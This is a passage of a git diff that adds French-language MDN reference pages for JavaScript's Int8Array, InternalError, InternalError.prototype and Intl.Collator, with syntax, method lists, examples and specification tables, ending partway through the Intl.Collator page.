+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur afin de pouvoir utiliser l'opération interne <code>ToIndex</code> et permettre de l'utiliser sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Int32Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Int32Array</code> doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>Int32Array</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Int32Array([1, 2, 3]);
+// TypeError: calling a builtin Int32Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Int32Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés" title="en/JavaScript typed arrays">Les tableaux typés (<em>typed arrays</em>) en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/int8array/index.html b/files/fr/web/javascript/reference/objets_globaux/int8array/index.html
new file mode 100644
index 0000000000..3226323471
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/int8array/index.html
@@ -0,0 +1,209 @@
+---
+title: Int8Array
+slug: Web/JavaScript/Reference/Objets_globaux/Int8Array
+tags:
+  - Constructor
+  - Int8Array
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrrays
+translation_of: Web/JavaScript/Reference/Global_Objects/Int8Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le tableau typé <strong><code>Int8Array</code></strong> permet de représenter un tableau d'entiers signés (en complément à deux) représentés sur 8 bits. Les éléments du tableau sont initialisés à 0. Une fois le tableau construit, il est possible de faire référence aux éléments en utilisant les méthodes de l'objet ou en utilisant la notation usuelle de parcours d'un tableau (la syntaxe utilisant les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Int8Array(); // apparu avec ES2017
+new Int8Array(length);
+new Int8Array(typedArray);
+new Int8Array(object);
+new Int8Array(buffer [, byteOffset [, length]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Syntaxe">tableaux typés</a><em> (TypedArray)</em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int8Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de <code>Int8Array</code>, la propriété vaudra 1.</dd>
+ <dt><code>Int8Array.length</code></dt>
+ <dd>Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Int8Array.name")}}</dt>
+ <dd>Renvoie la chaîne de caractère représentant le nom du constructeur. Dans le cas de <code>Int8Array</code>, la propriété vaudra "Int8Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Int8Array.prototype")}}</dt>
+ <dd>Prototype pour les objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>Int8Array.from()</dt>
+ <dd>Crée un nouvel objet <code>Int8Array</code> à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.</dd>
+ <dt>Int8Array.of()</dt>
+ <dd>Crée un nouvel objet <code>Int8Array</code> à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_de_Int8Array">Prototype de <code>Int8Array</code></h2>
+
+<p>Tous les objets <code>Int8Array</code> héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Int8Array.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance. Par défaut, c'est le constructeur <code>Int8Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Int8Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'objet {{jsxref("ArrayBuffer")}} auquel fait référence le tableau <code>Int8Array</code>. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Int8Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la longueur (exprimée en octet) du tableau <code>Int8Array</code> depuis le début du tampon {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Int8Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le décalage (exprimé en octets) du tableau <code>Int8Array</code> par rapport au début du tampon {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Int8Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nombre d'éléments contenus dans le tableau <code>Int8Array</code>. Cette valeur est fixée lors de la construction et est uniquement disponible en lecture.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Int8Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Int8Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Int8Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Int8Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Int8Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Int8Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Int8Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Int8Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Int8Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Int8Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Int8Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Int8Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Int8Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Int8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Int8Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Int8Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Int8Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Int8Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Int8Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Int8Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Int8Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Int8Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Int8Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Int8Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Int8Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Int8Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Int8Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Int8Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>Int8Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var int8 = new Int8Array(2);
+int8[0] = 42;
+console.log(int8[0]); // 42
+console.log(int8.length); // 2
+console.log(int8.BYTES_PER_ELEMENT); // 1
+
+// Construction à partir d'un tableau
+var arr = new Int8Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre TypedArray
+var x = new Int8Array([21, 31]);
+var y = new Int8Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Int8Array(buffer, 1, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var int8 = new Int8Array(iterable);
+// Int8Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur afin d'utiliser l'opération interne <code>ToIndex</code> et permettre de l'utiliser sans constructeur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Int8Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Int8Array</code> doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>Int8Array</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Int8Array([1, 2, 3]);
+// TypeError: calling a builtin Int8Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Int8Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés" title="en/JavaScript typed arrays">Les tableaux typés (<em>typed arrays</em>) en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/internalerror/index.html b/files/fr/web/javascript/reference/objets_globaux/internalerror/index.html
new file mode 100644
index 0000000000..a743ef18ca
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/internalerror/index.html
@@ -0,0 +1,81 @@
+---
+title: InternalError
+slug: Web/JavaScript/Reference/Objets_globaux/InternalError
+tags:
+  - Error
+  - InternalError
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>L'objet <strong><code>InternalError</code></strong> indique qu'une erreur liée au moteur JavaScript s'est produite. Par exemple <strong>"InternalError </strong>: Niveau de récursion trop important".</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new InternalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Paramètre optionnel. Une description de l'erreur compréhensible pour un être humain.</dd>
+ <dt><code>fileName</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le nom du fichier contenant le code à l'origine de l'erreur.</dd>
+ <dt><code>lineNumber</code> {{Non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le numéro de la ligne du code à l'origine de l'erreur.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une exception <code>InternalError</code> est levée à chaque fois qu'il se produit une erreur interne au moteur JavaScript.</p>
+
+<p>Le plus souvent, cette exception se produit lorsque quelque chose atteint un niveau trop élévé. Par exemple :</p>
+
+<ul>
+ <li>trop de cas dans une construction switch,</li>
+ <li>trop de parenthèses au sein d'une expression rationnelle,</li>
+ <li>un tableau littéral trop grand,</li>
+ <li>trop de niveaux de récursion.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("InternalError.prototype")}}</dt>
+ <dd>Permet l'ajout de nouvelles propriétés à un objet <code>InternalError</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>InternalError</code> ne contient pas de méthode propre. En revanche, il hérite de certaines méthodes via sa chaîne de prototypes.</p>
+
+<h2 id="Instances_de_InternalError">Instances de <code>InternalError</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page("/fr/docs/JavaScript/Reference/Objets_globaux/InternalError/prototype","Properties")}}</div>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<div>{{page("/fr/docs/JavaScript/Reference/Objets_globaux/InternalError/prototype","Methods")}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet objet ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.InternalError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("InternalError.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/internalerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/internalerror/prototype/index.html
new file mode 100644
index 0000000000..8564a09fbb
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/internalerror/prototype/index.html
@@ -0,0 +1,62 @@
+---
+title: InternalError.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/InternalError/prototype
+tags:
+  - Error
+  - InternalError
+  - JavaScript
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p>La propriété <code><strong>InternalError.prototype</strong></code> représente le prototype du constructeur {{jsxref("InternalError")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Toutes les instances de {{jsxref("InternalError")}} héritent de {{jsxref("InternalError.prototype")}}. Ce prototype peut être utilisé pour ajouter des propriétés et/ou des méthodes à toutes les instances.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>InternalError.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui permet de créer une instance du prototype.</dd>
+ <dt>{{jsxref("Error.prototype.message", "InternalError.prototype.message")}}</dt>
+ <dd>Un nom d'erreur. Bien que ECMA-262 spécifie que <code>InternalError</code> devrait fournir une propriété propre pour <code>message</code>. L'implémentation de<a href="/fr/docs/SpiderMonkey"> SpiderMonkey</a> fait que cette propriété est héritée via {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "InternalError.prototype.name")}}</dt>
+ <dd>Un nom d'erreur. Hérité via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "InternalError.prototype.fileName")}}</dt>
+ <dd>Le chemin du fichier à l'origine de l'erreur. Héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "InternalError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne dans le fichier pour le code qui a déclenché l'erreur. Héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "InternalError.prototype.columnNumber")}}</dt>
+ <dd>Le numéro de la colonne dans la ligne du fichier pour le code qui a déclenché l'erreur. Héritée via {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "InternalError.prototype.stack")}}</dt>
+ <dd>Pile d'appels (stack trace). Héritée via {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Bien que l'objet prototype <code>InternalError</code> ne contienne aucune méthode qui lui soit propre, les instances de {{jsxref("InternalError")}} héritent de méthodes grâce à la chaîne de prototypes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.InternalError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/compare/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/compare/index.html
new file mode 100644
index 0000000000..b120729383
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/collator/compare/index.html
@@ -0,0 +1,102 @@
+---
+title: Intl.Collator.prototype.compare
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator/compare
+tags:
+  - Collator
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/compare
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Intl.Collator.prototype.compare()</strong></code> compare deux chaînes de caractères en tenant compte des options spécifiées pour la locale et l'ordre de tri dans l'objet {{jsxref("Collator")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-collator-prototype-compare.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">collator.compare(chaine1, chaine2)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaine1</code></dt>
+ <dt><code>chaine2</code></dt>
+ <dd>Les chaînes de caractères à comparer.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'accesseur <code>compare</code> renvoie un nombre qui indique le résultat de la comparaison entre <code>chaine1</code> et <code>chaine2</code> selon l'ordre de tri de l'objet {{jsxref("Collator")}} : la valeur obtenue sera négative si <code>chaine1</code> précède <code>chaine2</code>, positive si <code>chaine1</code> succède à <code>chaine2</code>, nulle si les deux chaînes sont considérées égales.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_compare_pour_trier_un_tableau">Utiliser <code>compare()</code> pour trier un tableau</h3>
+
+<p>Dans cet exemple, on utilise la fonction de l'accesseur <code>compare</code> pour trier des tableaux. On observe que la fonction est liée à l'objet <code>Collator</code>, on peut donc directement la passer à la méthode {{jsxref("Array.prototype.sort()")}}.</p>
+
+<pre class="brush: js">var a = ["Offenbach", "Österreich", "Odenwald"];
+var collator = new Intl.Collator("de-u-co-phonebk");
+a.sort(collator.compare);
+console.log(a.join(", "));
+// → "Odenwald, Österreich, Offenbach"</pre>
+
+<h3 id="Utiliser_compare_pour_chercher_dans_un_tableau">Utiliser <code>compare()</code> pour chercher dans un tableau</h3>
+
+<p>Ici, on utilise la fonction de l'accesseur <code>compare</code> pour trouver les chaînes égales à une chaîne donnée parmi un tableau :</p>
+
+<pre class="brush: js">var a = ["Congrès", "congres", "Assemblée", "poisson"];
+var collator = new Intl.Collator("fr", {usage: "search", sensitivity: "base"});
+var s = "congres";
+var matches = a.filter(function (v) {
+    return collator.compare(v, s) === 0;
+});
+console.log(matches.join(", "));
+// → "Congrès, congres"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 2.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}}</td>
+   <td>{{Spec2('ES Int 2.0')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int Draft', '#sec-Intl.Collator.prototype.compare', 'Intl.Collator.prototype.compare')}}</td>
+   <td>{{Spec2('ES Int Draft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Intl.Collator.compare")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/intl/collator/index.html b/files/fr/web/javascript/reference/objets_globaux/intl/collator/index.html
new file mode 100644
index 0000000000..3130eed3b8
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/intl/collator/index.html
@@ -0,0 +1,178 @@
+---
+title: Intl.Collator
+slug: Web/JavaScript/Reference/Objets_globaux/Intl/Collator
+tags:
+  - Collator
+  - Constructeur
+  - Internationalisation
+  - Intl
+  - JavaScript
+  - Reference
+  - i18n
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong><code>Intl.Collator</code></strong> est un constructeur de « collecteurs », des objets permettant de comparer des chaînes de caractères en tenant compte de la locale.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-collator.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Intl.Collator([<em>locales</em> [, <em>options</em>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+ <p>Une chaîne de caractères avec une balise de langue BCP 47 ou un tableau qui contient des chaînes dans ce format. Pour plus d'informations sur le format et l'interprétation de l'argument <code>locales</code>, voir la page {{jsxref("Objets_globaux/Intl", "Intl", "#Choix_de_la_locale")}}. Pour ce constructeur, les clés d'extensions Unicode suivantes sont acceptées :</p>
+
+ <dl>
+  <dt><code>co</code></dt>
